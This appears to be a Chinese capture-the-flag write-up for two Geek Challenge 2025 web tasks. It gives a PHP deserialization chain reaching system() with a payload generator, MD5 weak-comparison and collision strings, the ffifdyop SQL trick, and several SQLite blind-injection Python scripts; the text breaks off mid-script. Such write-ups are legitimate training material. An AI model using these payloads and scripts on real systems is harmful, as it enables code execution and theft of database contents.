极客大挑战 popself wp 源码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 <?php show_source (__FILE__ );error_reporting (0 );class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; public function __set ($name , $value ) { echo "他还是没有忘记那个" .$value ."<br>" ; echo "收集夏日的碎片吧<br>" ; $fox = $this ->Fox; if ( !($fox instanceof All_in_one) && $fox ()==="summer" ){ echo "QYQS enjoy summer<br>" ; echo "开启循环吧<br>" ; $komiko = $this ->komiko; $komiko ->Eureka ($this ->L, $this ->sleep3r); } } public function __invoke ( ) { echo "恭喜成功signin!<br>" ; echo "welcome to Geek_Challenge2025!<br>" ; $f = $this ->Samsāra; $arg = $this ->ivory; $f ($arg ); } public function __destruct ( ) { echo "你能让K4per和KiraKiraAyu组成一队吗<br>" ; if (is_string ($this ->KiraKiraAyu) && is_string ($this ->K4per)) { if (md5 (md5 ($this ->KiraKiraAyu))===md5 ($this ->K4per)){ die ("boys和而不同<br>" ); } if (md5 (md5 ($this ->KiraKiraAyu))==md5 ($this ->K4per)){ echo "BOY♂ sign GEEK<br>" ; echo "开启循环吧<br>" ; $this ->QYQS->partner = "summer" ; } else { echo "BOY♂ can`t sign GEEK<br>" ; echo md5 (md5 ($this ->KiraKiraAyu))."<br>" ; echo md5 ($this ->K4per)."<br>" ; } } else { die ("boys堂堂正正" ); } } public function __tostring ( ) { echo "再走一步...<br>" ; $a = $this ->_4ak5ra; $a (); } public function __call ($method , $args ) { if (strlen ($args [0 ])<4 && ($args [0 ]+1 )>10000 ){ echo "再走一步<br>" ; echo $args [1 ]; } else { echo "你要努力进窄门<br>" ; } } } class summer { public static function find_myself ( ) { return "summer" ; } } $payload = $_GET ["24_SYC.zip" ];if (isset ($payload )) { unserialize ($payload ); } else { echo "没有大家的压缩包的话,瓦达西!<br>" ; } ?>
这是一道php反序列化的题目,考点很多,所以写个wp
看题目构造php反序列化链
1 2 3 4 5 6 7 8 9 10 11 obj1 (起点) ├── KiraKiraAyu: "aawBzC" ├── K4per: "s1885207154a" └── QYQS: obj2 ├── Fox: ["summer" , "find_myself" ] ├── komiko: obj3 ├── L: "1e9" └── sleep3r: obj3 └── _4ak5ra: obj4 ├── Samsāra: "system" └── ivory: "cat /flag"
__destruct() → __set() → __call() → __toString() → __invoke() → system()
payload: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php class All_in_one { public $KiraKiraAyu ; public $_4ak5ra ; public $K4per ; public $Sams āra; public $komiko ; public $Fox ; public $Eureka ; public $QYQS ; public $sleep3r ; public $ivory ; public $L ; } class summer { public static function find_myself ( ) { return "summer" ; } } $obj4 = new All_in_one ();$obj4 ->Samsāra = "system" ;$obj4 ->ivory = "env" ;$obj3 = new All_in_one ();$obj3 ->_4ak5ra = $obj4 ;$obj2 = new All_in_one ();$obj2 ->Fox = array ("summer" , "find_myself" ); $obj2 ->komiko = $obj3 ; $obj2 ->L = "1e9" ; $obj2 ->sleep3r = $obj3 ;$obj1 = new All_in_one ();$obj1 ->KiraKiraAyu = "aawBzC" ; $obj1 ->K4per = "s1885207154a" ; $obj1 ->QYQS = $obj2 ;echo urlencode (serialize ($obj1 ));?>
不合法参数名 $payload = $_GET["24_SYC.zip"]注意到,24_SYC.zip这个参数名称中的.是非法的
这里就有条件可以利用一个PHP8被修复的转换错误进行传参:https://github.com/php/php-src/commit//fc4d462e947828fdbeac6020ac8f34704a218834?branch=fc4d462e947828fdbeac6020ac8f34704a218834&diff=unified 当PHP版本小于8时,如果参数中出现中括号[,中括号会被转换成下划线_,但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线_,也就是说如果中括号[出现在前面,那么中括号[还是会被转换成下划线_,但是因为出错导致接下来的非法字符并不会被转换成下划线_ ———————————————— 版权声明:本文为CSDN博主「末 初」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/mochu7777777/article/details/115050295
所以需要把参数名改为
这样才能合法传参
php中的调用静态方法的特殊语法 1 if ( !($fox instanceof All_in_one) && $fox ()==="summer" )
这里涉及到一个知识点,要求$fox不属于All_in_one类,但是$fox强等于summer
payload:
1 $obj2 ->Fox = array ("summer" , "find_myself" );
这里我们将Fox定义为一个数组,所以不属于All_in_one类,但是这种数组表达方式是php中特殊语法:**可调用数组(Callable Array)**特性
["类名", "静态方法名"]() = 调用该类的静态方法
1 2 3 array ("summer" , "find_myself" )() = summer::find_myself () = "summer" ✓ **成功变出 summer!**
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $method1 = array ("summer" , "find_myself" );$result1 = $method1 (); $method2 = "summer::find_myself" ; $result2 = $method2 (); $method3 = function ( ) { return summer::find_myself (); };$result3 = $method3 (); class summer { public static function find_myself ( ) { return "summer" ; } }
php反序列化魔术方法 写这一题的时候下意识的认为反序列化链都是按顺序排的,可见对反序列化链的挖掘以及反序列化魔术方法还是不够熟练,所以这里再终结一下php反序列化魔术方法
魔术方法
触发时机
__construct()
在实例化对象时触发
__destruct()
在对象被销毁时触发
__sleep()
在进行序列化时触发
__wakeup()
在进行反序列化时触发
__serialize()
在进行序列化时触发
__unserialize()
在进行反序列化时触发
__toString()
被当成字符串调用时
__invoke()
被当成函数调用时
__set()
给不可访问或者不存在的属性赋值时
__get()
调用不可访问或者不存在的属性的值时
__isset()
对不可访问或不存在的属性调用isset()或empty()时
__unset()
对不可访问或不存在的属性调用unset()时
__call()
调用不可访问的方法时
__callStatic()
在静态上下文中调用一个不可访问的方法时
__construct() 每次实例化一个对象时都会先调用此方法
php
1 2 3 4 5 6 7 8 <?php class star { public function __construct ( ) { echo 'gogogo触发喽' ; } } $star = new star ();
__destruct() 某个对象的所有引用都被删除或当对象被显式销毁时执行
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Moon { function __construct ( ) { echo "流萤逐月\n" ; } function __destruct ( ) { echo "月落乌啼霜满天\n" ; } } $moon = new Moon ();
__sleep() serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php error_reporting (0 );class Moon { public $moon ='月亮 ' ; function __construct ( ) { echo $this ->moon; } function __sleep ( ) { $this -> moon = 'moon' ; echo $this -> moon; } } $moon = new Moon ();serialize ($moon );
__wakeup() unserialize()函数会检查类中是否存在一个魔术方法__wakeup()。如果存在,该方法会先被调用,然后才执行序列化操作
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 );class Moon { public $moon ='月亮' ; function __construct ( ) { echo $this ->moon; } function __wakeup ( ) { $this -> moon = 'moon' ; echo $this -> moon; } } $moon = new Moon ();$tem =serialize ($moon );unserialize ($tem );
__serialize() serialize()函数会检查类中是否存在一个魔术方法__serialize()。如果存在,该方法将在任何序列化之前优先执行,然后才执行序列化操作,它必须以一个代表对象序列化形式的 键/值 成对的关联数组形式来返回,如果没有返回数组,将会抛出一个TypeError错误。 如果类中同时定义了__sleep()和__serialize(),则只有__serialize()会被调用,__sleep()方法会被忽略掉
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php error_reporting (0 );class Moon { public $moon ='月亮 ' ; function __construct ( ) { echo $this ->moon; } function __sleep ( ) { $this -> moon = 'moon' ; echo $this -> moon; } function __serialize ( ) { $this -> moon = 'star' ; echo $this -> moon; } } $moon = new Moon ();serialize ($moon );
__unserialize() unserialize()函数会检查类中是否存在一个魔术方法__unserialize()。如果存在,该方法会先被调用,然后才执行序列化操作,此函数将会传递从__serialize()返回的恢复数组。然后它可以根据需要从该数组中恢复对象的属性。如果类中同时定义了__wakeup()和__serialize(),则只有__serialize()会被调用,__wakeup()方法会被忽略掉
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );class Moon { public $moon ='月亮' ; function __construct ( ) { echo $this ->moon; } function __wakeup ( ) { $this -> moon = 'moon' ; echo $this -> moon; } function __unserialize (array $data ):void { $this -> moon = "star" ; echo $this -> moon; } } $moon = new Moon ();$tem =serialize ($moon );unserialize ($tem );
php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php error_reporting (0 );class Moon { public $moon ; public $star ; public $sun ; function __serialize ( ):array { return [ 'moon' =>$this ->moon, 'star' =>$this ->star, 'sun' =>$this ->sun ]; } function __unserialize (array $data ):void { $this ->moon = $data ['moon' ]; $this ->star = $data ['star' ]; $this ->sun = $data ['sun' ]; } }
__toString() __toString()方法用于一个类被当成字符串时应怎样回应
php
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );class Moon { function __toString ( ) { echo "桂魄初生" ; } } $moon = new Moon ();echo $moon ;
__invoke() 当尝试以调用函数的方式调用一个对象时,__invoke()方法会被自动调用
php
1 2 3 4 5 6 7 8 9 10 11 <?php error_reporting (0 );class Moon { function __invoke ( ) { echo "清辉漫瓦" ; } } $moon = new Moon ();$moon ();
__set() 在给不可访问(protected 或 private)或不存在的属性赋值时,__set()会被调用
php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { function __set ($name ,$value ) { echo "玉壶冰心" ; } } $moon = new Moon ();$moon -> null = 'null' ;
__get() 读取不可访问(protected 或 private)或不存在的属性的值时,__get()会被调用
php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { function __get ($star ) { echo "蟾光碎银" ; } } $moon = new Moon ();$moon -> null ;
__isset() 当对不可访问(protected 或 private)或不存在的属性调用 isset()或empty()时,__isset()会被调用
php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { function __isset ($star ) { echo "素娥垂泪" ; } } $moon = new Moon ();isset ($moon -> null );
__unset() php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { function __unset ($star ) { echo "寒璧悬空" ; } } $moon = new Moon ();unset ($moon -> null );
__call() 对象中调用一个不可访问方法时,__call()会被调用
php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { function __call ($name , $arguments ) { echo "河汉清浅" ; } } $moon = new Moon ();$moon -> invalid ();
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic()会被调用
php
1 2 3 4 5 6 7 8 9 10 <?php error_reporting (0 );class Moon { static function __callStatic ($name , $arguments ) { echo "银潢倾泻" ; } } $moon = new Moon ();Moon ::invalid ();
md5碰撞 md5类型的题目一般会遇到弱比较和强比较以及md5注入
弱比较 科学计数法
字符串会进行下列步骤:
如果字符串开头是字母,直接等于0
如果不为字母,则截止到遇到的第一个字母。例如132a会被保留为123
但是对于e来说,它在php内可以用作科学计数法。
md5(a)=md5(b)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 240610708 :0e462097431906509019562988736854 QLTHNDT:0e405967825401955372549139051580 QNKCDZO:0e830400451993494058024219903391 PJNPDWY:0e291529052894702774557631701704 NWWKITQ:0e763082070976038347657360817689 NOOPCJF:0e818888003657176127862245791911 MMHUWUV:0e701732711630150438129209816536 MAUXXQC:0e478478466848439040434801845361
$a==md5($a)1 2 3 4 5 6 7 8 9 10 0e215962017 0e291242476940776845150308577824 0e1284838308 0e708279691820928818722257405159 0e1137126905 0e291659922323405260514745084877 0e807097110 0e318093639164485566453180786895 0e730083352 0e870635875304277170259950255928
md5(md5($a))=oe···1 2 3 4 aawBzC aabsbm9 aaaabGG5T aaaabKGVH
强比较 数组绕过,原理是当进行md5计算的时候,无法求出数组array的值,于是会返回null
两个数组就会===
md5碰撞 当强制要求为字符串是就无法通过数组绕过了,从errr师傅那里获取了两个字符串,可以通过md5碰撞达到强等于
1 2 3 4 pwp%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %91 %E6%F0aZ%7 CF%BFk%D0%E0%B4%9 B%2 A%1 B%60 %81 %C7OH%ACWBt%2 A%EAw%8 D%F21%0 F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9 E%A3%A6X%DF%E9%EA%8 F%16 %87 e%3 CX%B0%D38%CFN%16 v%81 %0 F%C9%12 %98 %92 %5 B%A1sO0XJ%9 C%E5c%BD%21 %1 F_t%D6%F2%FF%0 D%B3%00 %C7%2 B%60 H%C7%CB%8 D%0 C%28 %97 E%FF%7 D%F6%3 C%C2%9 A%1 C%40 %1 B%C7%B6%0 D%88 %B3UD%D7%82 EM5%C4%19 w%CCP pwp%00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %00 %91 %E6%F0aZ%7 CF%BFk%D0%E0%B4%9 B%2 A%1 B%60 %81 %C7O%C8%ACWBt%2 A%EAw%8 D%F21%0 F%EE%E7%A3%EE%EDZ.%E9%B0%EB-%BE9%9 E%23 %A7X%DF%E9%EA%8 F%16 %87 e%3 CX%B0%D3%B8%CFN%16 v%81 %0 F%C9%12 %98 %92 %5 B%A1sO0XJ%9 C%E5c%BD%21 %1 F%DFt%D6%F2%FF%0 D%B3%00 %C7%2 B%60 H%C7%CB%8 D%0 C%28 %97 E%FF%7 D%F6%3 C%C2%9 A%1 C%C0%1 A%C7%B6%0 D%88 %B3UD%D7%82 EM5D%19 w%CCP
还有
1 2 3 4 $a =M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%02 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1%D5%5 D%83 %60 %FB_%07 %FE%A2$b =M%C9h%FF%0 E%E3%5 C%20 %95 r%D4w%7 Br%15 %87 %D3o%A7%B2%1 B%DCV%B7J%3 D%C0x%3 E%7 B%95 %18 %AF%BF%A2%00 %A8%28 K%F3n%8 EKU%B3_Bu%93 %D8Igm%A0%D1U%5 D%83 %60 %FB_%07 %FE%A2
数据库 只需记住ffifdyop
这个字符串md5编码后是'or'6�]��!r,��b
当进行md5注入时便会得到
1 $query = "SELECT * FROM flag WHERE password = ''or'6�]��!r,��b
返回总为ture
极客大挑战 Sequal No Uta 重要的东西放前面,@cl0wn师傅给了我一个盲注的脚本,通过检索sqlite语句来查数据,然后我就调教ai将这个脚本优化了一下,使它更加简便,通用,智能
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 import requestsimport stringTARGET_URL = "http://019aaa5f-80ee-7e49-802f-89d2b6790510.geek.ctfplus.cn/check.php" CHARSET = string.ascii_letters + string.digits + "_{}!#$%&()*+,-./:;<=>?@[]^`|~ " EXTRACTION_TYPE = "column_data" TARGET_TABLE = "users" TARGET_COLUMNS = "username" def blind_sql_injection (): extracted_data = "" if EXTRACTION_TYPE == "table_names" : base_payload = "'or/**/substr((select/**/group_concat(tbl_name)/**/from/**/sqlite_master/**/where/**/type='table'/**/and/**/tbl_name/**/not/**/like/**/'sqlite_%'),{position},1)='{char}'--" elif EXTRACTION_TYPE == "column_data" : base_payload = f"'or/**/substr((select/**/{TARGET_COLUMNS} /**/from/**/{TARGET_TABLE} /**/limit/**/2/**/offset/**/1),{{position}},1)='{{char}}'--" elif EXTRACTION_TYPE == "flag_data" : base_payload = "'or/**/substr((select/**/group_concat(secret)/**/from/**/users),{position},1)='{char}'--" elif EXTRACTION_TYPE == "column_names" : base_payload = f"'or/**/substr((select/**/group_concat(name)/**/from/**/pragma_table_info('{TARGET_TABLE} ')),{{position}},1)='{{char}}'--" else : print ("错误:请选择有效的EXTRACTION_TYPE" ) return print (f"[*] 开始提取数据,类型: {EXTRACTION_TYPE} " ) if EXTRACTION_TYPE == "column_names" : print (f"[*] 目标表: {TARGET_TABLE} " ) print ("[*] 字符集大小:" , len (CHARSET)) for position in range (1 , 100 ): found_char = False for char in CHARSET: payload = base_payload.format (position=position, char=char) params = {"name" : payload} try : response = requests.get(TARGET_URL, params=params, timeout=5 ) if "该用户存在且活跃" in response.text: extracted_data += char print (f"[+] 位置 {position} : '{char} ' -> 当前结果: {extracted_data} " ) found_char = True break except Exception as e: print (f"[-] 请求失败: {e} " ) continue if not found_char: print (f"[*] 位置 {position} 未找到字符,可能已到数据末尾" ) break print (f"\n[+] 提取完成!" ) print (f"[+] 最终结果: {extracted_data} " ) if EXTRACTION_TYPE == "column_names" and extracted_data: columns = extracted_data.split(',' ) print (f"\n[+] {TARGET_TABLE} 表的列结构:" ) for i, column in enumerate (columns, 1 ): print (f" 第{i} 列: {column} " ) if "ctf{" in extracted_data.lower() or "flag{" in extracted_data.lower(): print (f"[!!!] 发现FLAG: {extracted_data} " ) if __name__ == "__main__" : blind_sql_injection()
提示给了是SQLite库,使用题目大致可以确定是sqlite注入了
但是打开环境只有只有查询状态,尝试布尔盲注
检测表的数量:
1 admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type=' table')=2--
检查表名:
1 admin'%09and%09(select%09count(*)%09from%09sqlite_master%09where%09type=' table'%09and%09tbl_name%09like%09' users')--
这里可以先通过手注测试常见表名,减少爆破时间
如:
检查表的列数:
1 admin'%09and%09(select%09count(*)%09from%09pragma_table_info(' users'))=5--
接着爆破列名
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import requests import string URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name=" CHARS = string .ascii_letters + string .digits + "_" def test (payload): try : response = requests.get (URL + payload, timeout=5 ) return "该用户存在且活跃" in response.text except: return False print ("爆破users表列名:" )for offset in range (5 ): name = "" pos = 1 while True: found = False for char in CHARS: payload = f"admin'%09and%09(substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset}),{pos},1)='{char}')--" if test (payload): name += char found = True break if not found: break pos += 1 print (f"第{offset + 1}列: {name}" )
爆破users表列名: 第1列: id 第2列: username 第3列: password 第4列: is_active 第5列: secret
发现一个奇奇怪怪的secret列,接着尝试爆破secret列的内容
这里让ai给了一个比较通用的脚本,可以提前更改url和表名列名之类的东西,但是也通用不到哪里去,因为每道题目的过滤不一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 """ 简易通用列数据爆破脚本 用于爆破已知表中指定列的数据内容 """ import requestsimport stringimport timeTARGET_URL = "http://019aaa20-97a0-74bf-ba1c-466bb98f1598.geek.ctfplus.cn/check.php?name=" TABLE_NAME = "users" COLUMNS = ["secret" ] MAX_ROWS = 3 DELAY = 0.1 def test_payload (payload ): """发送请求并检查响应""" full_url = TARGET_URL + payload try : response = requests.get(full_url, timeout=5 ) return "该用户存在且活跃" in response.text except : return False def extract_column_data (table, column, row_offset ): """提取指定表、列、行的数据""" data = "" position = 1 chars = string.ascii_letters + string.digits + "{}_-!@#$%^&*()+=[]|:;<>,.?/~` " while True : found_char = False for char in chars: payload = f"admin'%09and%09(substr((select%09{column} %09from%09{table} %09limit%091%09offset%09{row_offset} ),{position} ,1)='{char} ')--" if test_payload(payload): data += char found_char = True print (f" 行{row_offset + 1 } {column} : 位置{position} ='{char} ' -> {data} " ) break if not found_char: break position += 1 time.sleep(DELAY) return data def main (): print (f"[*] 开始爆破表 '{TABLE_NAME} ' 的数据" ) print (f"[*] 目标列: {', ' .join(COLUMNS)} " ) print (f"[*] 最大行数: {MAX_ROWS} " ) print ("=" * 50 ) for row in range (MAX_ROWS): print (f"\n[*] 爆破第{row + 1 } 行数据:" ) for column in COLUMNS: print (f"[*] 提取 {column} 列..." ) data = extract_column_data(TABLE_NAME, column, row) if data: print (f"[+] 行{row + 1 } {column} : {data} " ) else : print (f"[-] 行{row + 1 } {column} : 空或无法提取" ) print ("-" * 30 ) if __name__ == "__main__" : main()
当然我在写的时候没有那么轻松,ai一次使用不正确就把我完全带偏了,一开始只给我爆破出三列,然后就往其他方向试了一个下午,晚上重新做的时候才发现漏了两列而且ai给的脚本也没有那么简单,这里展示一个构造的超复杂脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 """ 完整爆破users表5列列名 """ import requestsimport stringimport timeimport jsonclass AllColumnsExtractor : def __init__ (self, target_url, delay=0.1 , timeout=10 ): self .target_url = target_url self .delay = delay self .timeout = timeout self .request_count = 0 self .start_time = time.time() self .true_indicator = "该用户存在且活跃" self .false_indicator = "未找到用户或已停用" self .session = requests.Session() self .session.headers.update({ 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) print (f"[+] 目标URL: {target_url} " ) print (f"[+] 目标: users表所有5列列名" ) def build_payload (self, condition ): """构建Payload""" payload = f"admin'%09and%09({condition} )--" return payload def send_request (self, payload ): """发送请求并检查响应""" full_url = f"{self.target_url} {payload} " try : self .request_count += 1 response = self .session.get(full_url, timeout=self .timeout) if self .true_indicator in response.text: return True elif self .false_indicator in response.text: return False else : return False except Exception as e: print (f"[-] 请求失败: {e} " ) return False def get_column_name_length (self, offset ): """获取指定列的列名长度""" print (f"[*] 获取第{offset + 1 } 列列名长度..." ) for length in range (1 , 50 ): payload = self .build_payload( f"length((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset} ))={length} " ) if self .send_request(payload): print (f"[+] 第{offset + 1 } 列列名长度: {length} " ) return length time.sleep(self .delay) print (f"[-] 无法获取第{offset + 1 } 列列名长度" ) return 0 def extract_column_name (self, offset, length ): """提取指定列的列名""" if length == 0 : return "" print (f"[*] 提取第{offset + 1 } 列列名 (长度: {length} )..." ) column_name = "" start_time = time.time() char_set = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_" for position in range (1 , length + 1 ): progress = (position / length) * 100 elapsed = time.time() - start_time eta = (elapsed / position) * (length - position) if position > 0 else 0 print (f"\r[*] 第{offset + 1 } 列: [{progress:6.2 f} %] 位置 {position} /{length} , " f"ETA: {eta:.1 f} s, 当前: {column_name} " , end="" ) found_char = False for char in char_set: payload = self .build_payload( f"substr((select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset} ),{position} ,1)='{char} '" ) if self .send_request(payload): column_name += char found_char = True break time.sleep(self .delay) if not found_char: break print () return column_name def guess_common_column_names (self, offset ): """猜测常见的列名""" print (f"[*] 尝试猜测第{offset + 1 } 列常见列名..." ) common_columns_by_position = [ ['id' , 'uid' , 'user_id' , 'key' ], ['username' , 'user' , 'name' , 'account' , 'login' ], ['password' , 'pass' , 'pwd' , 'hash' ], ['secret' , 'token' , 'key' , 'flag' , 'ctf' ], ['email' , 'role' , 'status' , 'created_at' , 'updated_at' , 'last_login' ] ] if offset < len (common_columns_by_position): for column in common_columns_by_position[offset]: payload = self .build_payload( f"(select%09name%09from%09pragma_table_info('users')%09limit%091%09offset%09{offset} )='{column} '" ) if self .send_request(payload): print (f"[+] 第{offset + 1 } 列列名: {column} " ) return column return None def extract_all_columns (self ): """提取所有5列的列名""" print ("开始提取users表所有5列列名" ) print ("=" * 60 ) column_names = [] for offset in range (5 ): print (f"\n[*] 处理第{offset + 1 } 列:" ) column_name = self .guess_common_column_names(offset) if not column_name: length = self .get_column_name_length(offset) if length > 0 : column_name = self .extract_column_name(offset, length) if column_name: column_names.append(column_name) print (f"[+] 第{offset + 1 } 列: {column_name} " ) else : column_names.append("未知" ) print (f"[-] 无法获取第{offset + 1 } 列列名" ) return column_names def verify_known_columns (self, column_names ): """验证已知列名""" print ("\n" + "=" * 60 ) print ("[*] 验证已知列名" ) print ("=" * 60 ) known_columns = ['id' , 'username' , 'password' , 'secret' ] for i, column in enumerate (column_names): if column in known_columns: print (f"[+] 第{i + 1 } 列 '{column} ' 是已知列" ) else : print (f"[!] 第{i + 1 } 列 '{column} ' 是新发现的列" ) def run (self ): """运行提取""" print ("开始提取users表所有列名" ) print ("=" * 60 ) try : column_names = self .extract_all_columns() self .show_results(column_names) self .verify_known_columns(column_names) self .show_statistics() self .save_results(column_names) print ("\n[+] 所有列名提取完成!" ) return column_names except KeyboardInterrupt: print ("\n[-] 用户中断操作" ) self .show_statistics() return None except Exception as e: print (f"\n[-] 执行过程中发生错误: {e} " ) import traceback traceback.print_exc() return None def show_results (self, column_names ): """显示结果""" print ("\n" + "=" * 60 ) print ("[*] users表所有列名" ) print ("=" * 60 ) for i, column in enumerate (column_names): print (f"第{i + 1 } 列: {column} " ) def show_statistics (self ): """显示统计信息""" total_time = time.time() - self .start_time print ("\n" + "=" * 60 ) print ("[*] 统计信息" ) print ("=" * 60 ) print (f"总请求数: {self.request_count} " ) print (f"总耗时: {total_time:.2 f} 秒" ) print (f"平均速度: {self.request_count / total_time:.2 f} 请求/秒" ) def save_results (self, column_names ): """保存结果到文件""" timestamp = time.strftime("%Y%m%d_%H%M%S" ) filename = f"users_columns_{timestamp} .json" data = { 'target_url' : self .target_url, 'extraction_time' : time.strftime("%Y-%m-%d %H:%M:%S" ), 'column_count' : len (column_names), 'columns' : column_names, 'statistics' : { 'total_requests' : self .request_count, 'execution_time' : time.time() - self .start_time } } with open (filename, 'w' , encoding='utf-8' ) as f: json.dump(data, f, indent=2 , ensure_ascii=False ) print (f"[+] 结果已保存到: {filename} " ) txt_filename = f"users_columns_{timestamp} .txt" with open (txt_filename, 'w' , encoding='utf-8' ) as f: f.write("Users Table Columns\n" ) f.write("===================\n\n" ) for i, column in enumerate (column_names): 